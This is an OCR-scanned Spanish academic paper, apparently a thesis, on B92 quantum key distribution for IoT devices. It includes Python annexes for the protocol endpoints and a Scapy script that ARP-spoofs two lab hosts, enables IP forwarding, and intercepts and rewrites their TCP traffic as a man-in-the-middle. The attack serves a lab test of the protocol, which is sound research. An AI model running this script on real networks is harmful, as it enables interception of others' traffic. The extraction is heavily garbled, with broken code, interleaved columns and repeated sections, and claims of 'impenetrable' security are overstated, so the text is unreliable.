dores, servidores Cloud o centros de datos, se han basado en gran medida en el interés

popular del desarrollo de estos sistemas.
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5. Conclusiones y trabajo futuro

Durante el desarrollo de este trabajo hemos podido ver la gran importancia que tiene la
computacion cuantica asi como el desarrollo e implementacion de los protocolos de se-
guridad cuanticos en el ambito de la ciberseguridad y la informéatica actual. Con la llegada
de este tipo de tecnologias, la criptografia actual, basada en complejos problemas mate-
maticos inviables para solucionar con un ordenador moderno, es sumamente fragil. Los
ordenadores cuanticos podrian resolver este tipo de problemas en un tiempo razonable
dejando toda la informacién privada de la poblacién al alcance de un atacante con acceso

a este tipo de computadores.

Sin embargo, al igual que la computacién cuantica puede suponer un problema para la
ciberseguridad también es su solucién. El uso de protocolos de criptografia cuantica apro-
vechan la propia naturaleza de los cubits para poder generar claves de cifrado de infor-

macién de forma completamente segura.

Hemos comentado durante el trabajo cémo, a dia de hoy, los dispositivos del 10T son
especialmente sensibles frente a los ataques de ciberdelincuente, por el simple hecho de
la baja inversién de tiempo y recursos en el desarrollo de su software y por tanto de sus
protocolos de seguridad. Por esto mismo la computacién cuantica es clave en el desarrollo
de este tipo de tecnologias ya que no requiere de complejos algoritmos ni protocolos de
seguridad. Es la misma naturaleza cuantica de la informacion la que le proporciona una

barrera impenetrable a los dispositivos.

Se ha podido ver, desde el ambito de las simulaciones, cdmo efectivamente estos proto-
colos de seguridad son realmente efectivos contra, principalmente, los ataques del tipo
MiTM. Dado que una simple comparacién entre la informacién enviada y recibida asegura
completamente a los interlocutores que si ambas claves coinciden es un indicativo total
que el canal de comunicacion es seguro ya que en el momento que se trata de manipu-
lar esta informacién codificada en los cubits se deja un rastro claro por lo que podemos

detectar facilmente esta brecha de seguridad.
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Por otro lado hemos indagado en la posibilidad actual de poder implementar fisicamente
estos sistemas de criptografia cuantica y, aunque, a dia de hoy, estos dispositivos cuanti-
cos estén pensados para otro tipo de casos, como son los centros de datos o servidores,
ya empieza a existir e implementarse un internet cuantico. Por lo que ya se ha podido
comenzar a transaccionar a una época en la que todas las comunicaciones seran comple-

tamente seguras e indescifrables.

Sin embargo, a la hora de implementarlo en los diferentes dispositivos del loT, cabe la
posibilidad que no sea realmente necesario para poder lograr el mismo objetivo de con-
seguir unas comunicaciones seguras. Recordemos que este tipo de dispositivos no tienen
acceso directo con el exterior sino que dependen de estar dentro de una red LAN admi-
nistrada por un router que es el que, en caso necesario de realizar alguna peticién con un

servidor externo, les proporciona acceso al exterior.

Por este motivo, donde, por sencillez a la hora de implementarlo, podemos hacer un uso
practico de este tipo de tecnologias, es protegiendo este router administrador. Podemos
utilizar los protocolos de seguridad y algoritmos para poder crear una barrera impene-
trable a toda la red LAN por lo que, de forma indirecta, los dispositivos del |oT serian
completamente seguros sin la necesidad de implementar en todos y cada uno de ellos

estos protocolos y este tipo de hardware.
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Anexo |: Protocolo B92 para Alice

#Para generar y polarizar cada qubit

from giskit import QuantumCircuit, transpile

#Para obtener el StateVector de cada qubit

from qiskit.quantum_info import Statevector

#Para crear una conexion con Bob

import socket

#Para serializar la lista de Statevectors para enviarla a bob
import json

from random import randint, random #Para generar la clave

def generate_key(keylength):
class_key = [randint(0,1) for i in range(keylength)]

#print (f 'Clave generada: {class_key}’)
return class_key

def send_qgbits(conn, qbit_key):
#Usaremos solo numeros reales para serializar la informacion
#Tomaremos cada vector: [a+b.j, c+d.j] = [[a, b],[c, d]]
serializable = |

[[num.real, num.imag] for num in vec] for vec in qbit_key

]
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json_data = json.dumps(serializable) + ’'\n’

conn.sendall (json_data.encode ())

def new_key(conn, key):

[]

json.loads(conn.recv(4096).decode())

new_key

indices
for index in indices:

new_key.append(key[index])

return new_key

def key_check(conn, final_key):
#Comprueba si los bits de control coinciden
#Si algun bit no coincide se debe reiniciar el proceso
bob_key = json.loads(conn.recv(4096).decode ())
must_restart = False
for i, bob_bit in enumerate(bob_key):
if bob_bit !'= final_key[i]:
print(f ' El bityunumero,{i+1} no,coincide’)
must_restart = True
conn.sendall (str(must_restart).encode ())

return must_restart

def save_key(key):
key_str = '’ .join(str(bit) for bit in key)

)

with open(’'key.txt’', 'w’) as file:

file.write(key_str)
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def b92(conn):
#Numero de bits que componen la clave inicial
keylength = 100
#Generamos una lista de bits aleatorios en 0 o 1
key = generate_key(keylength)
gbit_key = []

#lLa serie de qubits codificados la incluiremos en qgbit_key
for bit in key:

g = QuantumCircuit(1)

if bit == 1:
q.h(0)
vector = Statevector.from_instruction(q)

gbit_key.append(vector.data.tolist ())
#Envia los statevectors como simulacion de envio de qubits

send_qgbits(conn, gbit_key)

#Recibe de bob los indices de los bits que se usardn
#Genera una nueva clave usando los que bob le ha asegurado

final_key = new_key(conn, key)

#Comprueban una serie de bits de control para evitar ataques

must_restart = key_check(conn, final_key)

if must_restart:
print(’Las,claves_nogcoinciden’)
else:

save_key(final_key)
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conn.close ()

def main ():

server = socket.socket(socket.AF_INET,
server.bind ((’0.0.0.0"’, 2220))

server.listen (5)

print ( 'Esperandoconexion_de Bob... ")

conn, addr = server.accept()
print ( 'Bob_,conectado_desde’, addr)

b92(conn) #Ejecutamos el protocolo B92

if __name__ == '_ main__":

main ()
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Anexo ll: Protocolo B92 para Bob

#Para reconstruir los qubits

from giskit import QuantumCircuit, transpile
#Para medir los qubits recibidos

from qiskit_aer import Aer

#Para realizar la conexion con Alice

import socket

import numpy as np

import json

from random import randint

def receive_qbits(s):
buffer = '’
while True:
chunk = s.recv(4096).decode(’'utf-8")
if not chunk:
#Conexion cerrada antes de recibir mensaje completo
break
buffer += chunk
if '\n’ in buffer:
line, _ = buffer.split(’\n’, 1)
data = json.loads(line)

gbit_array = |
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[complex(real, imag)
]

return qgbit_array

return None

measure_qbits(qgbit_key):
indices = []
key = []
#Tomaremos
for i, gbit
#Reconstruye el

q:

g.initialize (gbit,

#Medimos el
basis =

if basis

g.measure (0, 0)

randint (O,

for

los qubits a partir de

qubit

QuantumCircuit (1,

0)

1)

Raul Martinez Pavon
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real, imag in vec] for vec

los Statevectors

in enumerate(gbit_key):

1)

#0 significa eje Z,

sim = Aer.get_backend(’'gasm_simulator’)
my_gbit = transpile(qg, sim)

#Medimos solo 1 vez

job = sim.run(my_gbit, shots = 1)
result = job.result ()

mes = result.get_counts ()

bit_mes = max(mes, key = mes. get)

if basis == 0 and bit_mes == '1":

indices .append (i)
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key.append (1)

elif basis == 1 and bit_mes == '1":
indices .append (i)
key.append (0)

return indices , key

def key_check(s, key):
#Eviamos 10 bits como control para comprobar si es segura
num_check_bits = 10
partial_key = []
for i in range(num_check_bits):

partial_key .append(key[i])

s.sendall(json.dumps(partial_key).encode ())

must_restart = s.recv(1024).decode == ’'True'

return must_restart

def save_key(key):
key_str = '’ .join(str(bit) for bit in key)
with open(’'key.txt’', 'w’) as file:

file.write(key_str)

def b92(s):
#Recibe los qbits de Alice
gbit_key = receive_qbits(s)

#Mide los qbits y genera la lista de indices y la clave
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indices , key = measure_qgbits(gbit_key)

#Envia el listado de indices de los bits que forman la clave

s.sendall(json.dumps(indices).encode ())

#Comprueban una serie de bits de control para evitar ataques
must_restart = key_check(s, key)
if must_restart:
print(’'Las,claves_no,coinciden’)
else:

save_key (key)

def main ():

HOST = ’'Alice_ip_adress’' #Direccion ip de Alice

PORT 2220 #Puerto que esta abierto para la conexion

with socket.socket(socket.AF _INET, socket.SOCK STREAM) as s:
s.connect ((HOST, PORT)) #Bob se conecta a Alice
b92(s) #Se ejecuta el protocolo B92

if _name__ == '__main__":

main ()
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Anexo lll: Script para la ejecucion del ata-

que MiTM

from scapy.all import =

from scapy.layers.inet import IP, TCP
import threading

import time

import os

from qiskit import QuantumCircuit, transpile
from gqgiskit.quantum_info import Statevector
from qiskit_aer import Aer

import ast

from random import randint

# Global variables

processed_packets = set ()

#La informacion cldsica intercambiada si se puede copiar y guardar.
def save(data):
#Guardaremos los paquetes de indices de los bits que mantienen
#Ademds de la clave parcial que comparten.
try:

)

data_str = ', ’'.join(str(data_piece) for data_piece in data)
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with open(’'data.txt’, ’'a’) as file:
file.write(data_str + ’'\n’)
except Exception as e:
print (f ' Exceptiongerror: {e}’)
pass

return None

def send_new_packet(original_packet, modified_qgbits):

#Copiamos y modificamos el paquete manteniendo los metadatos

new_packet = original_packet.copy()
nuevos_datos = modified_qbits.encode(’'utf-8")
new_packet[Raw].load = nuevos_datos

del new_packet[IP ].chksum

del new_packet[TCP]. chksum

#Reenviamos el paquete a su destinatario

sendp (new_packet, iface = ’'enp0s3’)

def codify_new_qbits(key_read):
gbit_key = []
for bit in key_read:
g = QuantumCircuit (1)
Si el bit original lo conociamos

lo codificamos segun las reglas del protocolo

Si no lo conociamos crearemos uno huevo
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def

aleatorio y lo codificaremos

new_bit = randint(0, 1)

if new_bit == 1:
q.h(0)
vector = Statevector.from_instruction(q)

gbit_key.append(vector.data.tolist ())
resend = |

[[num.real, num.imag] for num in vec] for vec in qbit_key
]
final _resend = str(resend)

return final_resend

read_qubits(data):
qubits = [
[complex(real, imag) for real, imag in vec] for vec in data

]
key_read = []

for i, qubit in enumerate(qubits):
#Reconstruimos los qubits
g = QuantumCircuit(1, 1)

g.initialize (qubit, 0)

#lLeemos los qubits en una base aleatoria

basis = randint(0, 1)
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g.measure (0, 0)

sim = Aer.get_backend(’gasm_simulator’)
my_qbit = transpile(q, sim)

#Mediremos una unica vez

job = sim.run(my_qgbit, shots = 1)

result = job.result ()

mes = result.get_counts ()

bit_mes = max(mes, key = mes. get)
if basis == 0 and bit_mes == '1":

key_read.append (1)
elif basis == 1 and bit_mes == '1":
key_read.append(0)
else:
"’?Anadimos -1 donde no estamos completamente seguros
cudl era el bit original '’

key_read.append(-1)

#Creamos la lista de qubits para enviarlos una vez interceptados

save (key_read)

gbit_key_resend = codify_new_qgbits(key_read)

return qgbit_key_resend

def get_mac(ip, interface):
#Tomaremos la direccion MAC de Alice y Bob a partir de sus IP
arp_request = ARP(pdst=ip)
ether = Ether(dst="ff:ff:ff:ff:ff:ff")

packet = ether/arp_request
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result = srp(packet, timeout=3, iface=interface, verbose=0)[0]
result.summary()
if result:

return result[O0][1]. hwsrc

return None

def arp_spoof(target_ip, target_mac, gateway_ip, gateway_mac, interfa
#Ejecutamos el ataque ARP para interceptar el trafico

print (f”Comenzando_ ARP_Spoofing_entre_ {target_ip}ouy.{gateway_ip}”

if not target_mac or not gateway_mac:
print(”Fallo_al_ obtener_ las,direcciones MAC. Saliendo”)

return

try:
while True:
send (

ARP (op=2,
pdst=target_ip ,
psrc=gateway_ip,
hwdst=target_mac),

iface=interface, verbose=0

)

send (

ARP (op=2,
pdst=gateway_ip,
psrc=target_ip ,

hwdst=gateway_mac),
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iface=interface, verbose=0

)

time.sleep (2)

except KeyboardInterrupt:

print ("\nDeteniendo_ ARP_Spoofind"”)

def packet_callback(packet):

#Interceptamos el trafico entre las direcciones IP de Alice y Bob

directionl = (packet[IP].src == '192.168.18.153"'

and packet[IP].dst == '192.168.18.139")
direction2 = (packet[IP].src == '192.168.18.139"’

and packet[IP].dst == '192.168.18.153")
host = directionl or direction2

if IP in packet and TCP in packet and host:
if IP in packet and TCP in packet and Raw in packet:
# Crearemos un identificador unico para cada paquete
packet_id = (
packet[IP].src,
packet[IP].dst,
packet[TCP]. sport ,
packet[TCP].dport,
packet[TCP]. seq
)
if packet_id in processed_packets:
return None

processed_packets.add(packet_id)

# Tomaremos el paquete original
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data = packet[Raw]. load

try:
#No nos interesardn los paquetes sin informacion
data_text = data.decode(’'utf-8', errors='ignore')
if not data_text.strip ():
return packet
try:
data = ast.literal_eval(data_text)
try:

if len(data[0]) > 1:

modified_qubits = read_qubits(data)

send_new_packet (packet, modified_qubits)

except Exception as e:
save (data)
return packet
except Exception as e:
print (f ' Exceptiongerror: {e}’)
pass
except Exception as e:
print(f”Errorymodifyingpacket: {e}"”)
return packet

return packet

def start_sniffing(interface):

#Sniffing del trafico de la red

try:
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# Sniff both directions of the conversation
sniff (
iface=interface ,
filter="tcp”,
prn=packet_callback ,
store=0
)
except Exception as e:

print(f”Sniffinggerror: {e}”)

if _name__ == " _ main__":
interface = "enp0s3”
target_ip = "7192.168.18.139" # Client
target_mac = get_mac(target_ip, interface)
server_ip = "192.168.18.153” # Server
server_mac = get_mac(server_ip, interface)

# Enable IP forwarding
os.system (”echo_,1,>,/proc/sys/net/ipv4/ip_forward”)

print(”IP,forwarding_enabled”)

# Start ARP spoofing
spoof_thread = threading.Thread
target=arp_spoof, args=(
target_ip,
target_mac,
server_ip ,
server_mac,

interface
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)

spoof_thread.daemon = True

spoof_thread.start ()

try:
start_sniffing(interface)
except KeyboardInterrupt:
print ("\nStopping ,MITM ... ")
os.system(”echo 0,>,/proc/sys/net/ipv4/ip_forward”)

print ("Cleanupycompleted”)
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Resumen

Con el avance en todo el mundo de la digitalizacién, vivimos en un entorno repleto de
objetos conectados a la red, desde ordenadores y moviles hasta televisiones pasando
por electrodomésticos més simples. Todos estos dispositivos forman el conocido como
Internet de las cosas o IoT, por sus siglas en ingles. La idea tras este trabajo es
establecer un marco de referencia para la implementacién de protocolos de distribucién
cuantica de claves, QKD, con el objetivo de hacer uso de la computacién cuantica para
establecer unas comunicaciones cifradas y seguras entre dispositivos. Nos enfocaremos en
la implementacién de estos protocolos en dispositivos de baja potencia computacional
como lo son los electrodomésticos o aparatos mas sencillos como enchufes inteligentes.
Probaremos, por tultimo, la eficacia de estos protocolos ejecutando ataques del tipo
Man-in-the-Middle, MiTM y comprobaremos que efectivamente son protocolos que

proporcionan una proteccién completa frente a estos ataques.

1. Introduccién cenan, comparten y procesan datos, como

las camaras de seguridad, o termostatos.

El ToT es una red global de dispositivos g.pemos desde hace mucho tiempo que

interconectados entre si de forma directa o a cualquier dispositivo que esté conectado

través de la nube (TechTarget Contributor,

2023). Los objetos dentro de esta red del

a la red es susceptible de convertirse en

objetivo de un ataque, ya sea con el fin de

IoT, también llamados objetos inteligentes

(IBM Corporation, [2023), engloban desde

robar datos o con el objetivo de controlar

estos dispositivos para otro fin. Por eso,

los mds evidentes, como lo son ordenadores aparatos mas complejos como los or-

o teléfonos, hasta aparatos electronicos que Jopadores las vulnerabilidades estan muy

son, a priori, mas sencillos, pero que alma-
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protegidas pero en aparatos méas sencillos o
simplemente méas econdémicos, la inversién
en su desarrollo no es tan alta por lo que
estdn mas expuestos a ser objetos de este
tipo de ataques.

Uno de los casos mas medidticos en los que
se aprovecharon de una brecha de seguridad
en este tipo de dispositivos es en el caso del
malware, Mirai (Krebs, 2016). Mirai trataba
de conectarse a dispositivos alrededor de
todo el mundo para poder instalar una serie
de coédigo y hacer que estos dispositivos
formaran parte de su botnet (Goel et al.,
2004). De esta forma, podia controlar
todos los dispositivos dentro de esta red
y hacer que realicen miles de peticiones
a un servidor en concreto realizando asi
un ataque DDoS con el fin de colapsar el
servidor objetivo (Cloudflare, [2025a).

Con el crecimiento en desarrollo y utiliza-
cién de este tipo de dispositivos inteligentes
por un lado se han revisado este tipo de
brechas de seguridad y se han tratado
de mitigar al maximo, sin embargo, los
ciberdelincuentes (University, [2024) han
seguido buscando otro tipo de brechas para
poder explotar estas vulnerabilidades en los
dispositivos del ToT.

La computaciéon cuantica puede ser es-
pecialmente ttil y el uso de protocolos
de distribucién cudntica de claves, QKD
(TechTarget, [2025) como lo son los proto-
colos BB84 o B92 pueden ayudar a generar

Raul Martinez Pavon
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claves completamente seguras para poder
establecer unas comunicaciones encriptadas
entre los dispositivos de forma que los ciber-
delincuentes no puedan leer la informacion

que se comparte a través de la red.

2. Estado del Arte

En todas las funciones que realiza un orde-
nador, la criptografia esta involucrada(IBM,
2024)), necesitamos que todas las comunica-
ciones de cualquier tipo que realiza un dis-
positivo estén cifradas. Por esto mismo, ac-
tualmente se utiliza el estandar de la cripto-
graffa RSA(CertSuperior, 2024) basada en
el cifrado de los mensajes mediante una cla-
ve asimétrica, es decir, la clave de cifrado y
decodificacién no es la misma, aunque estan
relacionadas por diversos procesos matema-
ticos. La seguridad de estas claves se basa en
el problema de la descomposicién en factores
primos. Estas claves tienen una longitud de
unos 2000 bits, por esto mismo, los compu-
tadores actuales no son capaces de romper
estos protocolos dado que tardarian siglos
en realizar los calculos necesarios. Sin em-
bargo, la computacién cuantica y algoritmos
como el de Shor (1994) pueden realizar estos
calculos en una cantidad de tiempo razona-
ble, por lo que todos estos sistemas vuelven
a ser completamente vulnerables.

Para proteger la informacién podemos em-

plear distintos protocolos para generar las
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claves haciendo uso de la computacién cuan-
tica, como el protocolo B92 (Bennett, 1992]),
por lo que la seguridad no dependera de
la complejidad matemaética del encriptado,
sino de la naturaleza misma de la informa-
cion.

2.1. Protocolo B92

El protocolo B92 nace como mejora del pro-
tocolo original de uno de sus creadores como
mejora del algoritmo original, BB84 (Ben-
nett & Brassard, [1984), simplificando la eje-
cucién del mismo. Los dos interlocutores,
Alice y Bob, podran generar una clave com-
pletamente segura a traves del envio de ci-
bits codificados en dos estados no ortogona-
les, como lo son el estado |0) y el |+), (Gui-
llén & Gasca, 2006]).

Primero Alice generara una clave inicial, una
serie de bits aleatorios de una longitud acor-
dada inicialmente. Tras esto codificard y en-
viard a Bob una serie de cubits a través
del canal cudntico siguiendo la siguiente re-
gla: Si el bit original es un 0 se enviara el
estado|0) mientras que si el bit original es
un 1, Alice, enviara el estado |+).

De esta forma Bob recibira los cubits y los
medird eligiendo aleatoriamente una Base
para medir el cubit entre el eje X y el eje
Z. Si Bob elige el eje Z y obtiene un resul-
tado de 0, el cabit original podria estar en
|0) o haber colapsado desde el estado |+),
mientras que si mide 1, este resultado solo

ha podido venir del colapso del estado |+),

por lo que el bit original era un 1. De la
misma forma, si Bob elige el eje X y mide
un 0, el ctabit podria estar en |+) o haber
colapsado desde el estado |0), mientras que
si mide 1, este solo podria haber resultado
del colapso del estado |0) por lo que el bit
original era un 0.

Siguiendo esta logica Bob construird una
nueva clave binaria y guardara las posicio-
nes de los cubits de los que ha podido medir
el resultado 1. Esta lista de indices al igual
que una parte de la clave nueva la enviara a
Alice. Ahora, Alice, tomara de la clave ori-
ginal solo los bits segtin las posiciones que le
ha comunicado Bob y compararé esta nueva
clave con la clave de control que le ha envia-
do Bob. Si ambas claves de control coinciden
la clave generada es completamente segura.
En caso de la existencia de un atacante, Eve,
las claves de control no coincidiran dado que,
Eve, al intentar leer los ctbits ha modifica-
do su estado y provocado el colapso de ellos

dejando huella.

3. Simulaciones realizadas

3.1. Ejecucion del protocolo B92 y

ataque MiTM

Para poder crear las simulaciones para com-
probar si el protocolo B92 es realmente efec-
tivo, se ha utilizado dos Raspberry Pi mode-
lo 3B (Raspberry Pi Foundation, 2016)) a las

que hemos instalado un sistema operativo
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basado en la distribucién Debian de Linux
(Raspberry Pi Foundation, 2025a), (Rasp-
berry Pi Foundation, 2025b)).

Ademaés, se ha necesitado instalar los paque-
tes de qiskit (IBM Quantum, |2025) y qiskit-
aer (Qiskit Development Team, 2025) para
poder simular la codificacién y lectura de
los cubits involucrados. La conexién entre
las dos Raspberrys, que llamaremos Alice
y Bob, se ha realizado mediante el paque-
te socket de python, que nos permite reali-
zar conexiones y comunicaciones entre dis-
positivos de una misma red LAN (Cloudfla-
re, [2025b)). Abriremos el puerto 2220 de en
la direccién IP local de Alice para que Bob
pueda realizar la conexion.

Una vez hemos realizado la conexién podre-
mos ejecutar el protocolo B92 siguiendo los
pasos ya comentados obteniendo un archivo
de texto en cada uno de los dispositivos de
Alice y Bob en el que hemos guardado las
claves finales para, de este momento en ade-
lante, poder cifrar las comunicaciones entre
ellos.

Tras probar que el protocolo se ejecuta co-
rrectamente hemos realizado una simulaciéon
de un ataque MiTM (Keeper Security, Inc.,
2023) para crear la presencia de Eve como
posible atacante en la red. Para ello se ha
utilizado una maquina virtual haciendo uso
de la aplicaciéon VirtualBox (Oracle Corpo-
ration, [2023) instalando el sistema operati-

vo Ubuntu (Canonical Ltd., 2023), creando

un sistema de laboratorio aislado del siste-
ma Windows 11 anfitrién. Ademas hemos
necesitado instalar los paquetes de qiskit y
qiskit-aer para poder realizar las simulacio-
nes cuanticas necesarias, asi como el paquete
Scapy (Biondi et al., [2023)) que hemos utili-
zado para interceptar los paquetes de infor-
macién que circulan por la red entre Alice y
Bob.

Tras ejecutar primeramente el protocolo,

Figura 1: Paquete Scapy en la terminal de
Ubuntu en VirtualBox

hemos podido obtener una clave guardada
en el archivo key.txt que, al no haber presen-
cia de ningin atacante ambas claves coinci-
den a la perfeccién por lo que las comunica-
ciones podrian cifrarse sin problema.

Sin embargo, en el momento que ejecutamos
el script de Eve como atacante, por lo que
estamos tratando de leer los cubits que cir-
culan entre Alice y Bob, y por tanto, los es-
tamos manipulando, las claves final y origi-
nal no coinciden por lo que el protocolo nos
alerta que el canal de comunicacién ha sido
comprometido y se debe reiniciar el proto-

colo hasta poder crear una clave que si sea
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Figura 2: Comunicacién establecida sin segura y no haya sido interceptada por nin-

presencia de atacante. ,
gun atacante.

alice@alice:~/TFM $ cat key.txt

11011011011010010000001010

ALICE 3.2. Implementacion fisica de una
red cuantica
10) Listado de
| +) posiciones Para poder implementar este tipo de tecno-
|0) logias para proteger nuestra privacidad del
Nueva clave ] ) . o
soe dia a dia necesitamos incluir en nuestras re-

BOB des dos factores imprescindibles. Por un lado

necesitamos una serie de procesadores que

bob@bob:~/TFM $ cat key.txt

11011011011010010000001010 sean capaces de poder generar, codificar, en-

viar, recibir y medir los cubits codificados

para poder establecer la clave secreta para el
Figura 3: Comunicacion establecida con la

presencia de Eve. cifrado. En la actualidad existen soluciones

alice@alice:~/TFM $ ./alice.sh como el Sceptre—Duo de HEQA‘SGC (2024)

Esperando conexion de Bob...

Bob conectado desde ('192.168.18.139', 50488) que son capaces de realizar estas tareas. Sin

embargo, las soluciones actuales, por tama-
ALICE

flo y recursos necesarios para su utilizacién
|0} estan disenados y fabricados para ser imple-
|+ LISt.aqo de mentados en la industria, en centros de da-

IO) posiciones
tos o centros de servidores donde el tama-
+ - . . . .
) Nueva clave nio y la potencia necesaria no es un impedi-
EVE: mento. Sin embargo, para poder implemen-

LECTURA DE CUBITS INTERCEPTADOS

tar este tipo de protocolos en la tecnologia

I+ de consumo, para usuarios promedios se re-
Listado de . . -
|0) posiciones quiere poder reducir sobre todo, el tamafio
ici
[} de los procesadores cuanticos.
|+) Nueva clave Por otro lado, es necesario la instalaciéon de

i una red cuantica, un medio por el que poder

BOB

propagar los cibits de un dispositivo como

bob@bob:~/TFM $ ./bob.sh
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Alice a otro dispositivo como Bob. La so-
lucién actual mas prometedora es la compu-
tacion cudntica con fotones. Este tipo de cu-
bits tienen dos ventajas principales, por un
lado no requieren temperaturas criogénicas
como otros tipos por lo que son ideales para
entornos no controlados como los domicilios
de los usuarios. Ademas la instalacién actual
de fibra éptica de internet es aprovechable
para realizar la transmisién de cibits entre
dispositivos.

Sin embargo, para que se pueda hacer efec-
tiva realmente la implementacion de estas
tecnologias en la vida diaria es necesario,
principalmente, solucionar los diferentes de-
safios actuales de la computacién cuantica
en relacién a la decoherencia y los algorit-
mos de deteccién de errores. Por otro lado,
es también necesaria una educacion a nivel
social en torno a este tipo de dispositivos
dado que el desconocimiento de la poblacién
puede provocar el rechazo de estas tecnolo-
gias que, como hemos visto, pueden ser de
gran utilidad para poder proteger los datos

de caracter privado.

4. Conclusiones

Hemos podido ver la gran importancia de
la computacién cuantica asi como la imple-
mentaciéon de protocolo cudnticos de seguri-
dad en el &mbito de la ciberseguridad y la in-

formacion actual. La seguridad informatica

actual se basa en complejos problemas mate-
maticos que un ordenador moderno no pue-
de resolver, sin embargo un ordenador cuan-
tico puede romper este tipo de barreras de
seguridad pudiendo asi ganar acceso a toda
la informacion de la red. Aun asi, hemos vis-
to que al igual que la computacién cuantica
es un problema para la seguridad informa-
tica de hoy, también es su solucién. Hemos
visto cémo el uso de protocolos cuanticos de
seguridad como lo es B92 proporcionan una
barrera que no se basa en la complejidad del
protocolo sino que es la naturaleza misma de
los cubits la que proporciona la seguridad a
las claves que se generan haciendo uso de es-
tos algoritmos.

Hemos visto a través de las simulaciones cé-
mo, efectivamente, estos protocolos de se-
guridad son realmente efectivos contra los
ataque del tipo MiTM dado que una simple
comparacién entre la informacién enviada y
recibida asegura completamente a los inter-
locutores que si la informacién coincide es
una confirmacién definitiva que el canal de
comunicacion es completamente seguro ya
que si estuviera minimamente comprometi-
do la informacién recibida seria totalmente
diferente por lo que el intruso es facilmente
detectable.

Ademés hemos podido indagar en la posibili-
dad actual de poder implementar fisicamen-
te estos sistemas de criptografia cuantica y,

aunque, a dia de hoy, estos dispositivos es-
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tan pensados para ser instalados en centros
de datos e instalaciones similares, el desarro-
llo continuo de estos instrumentos permite
que en un futuro, si se ha podido reducir
el tamano de los procesadores, como carac-
teristica principal, puedan ser implementa-
dos dentro de dispositivos de consumo como
ordenadores actuales, u objetos inteligentes

como electrodomésticos modernos.
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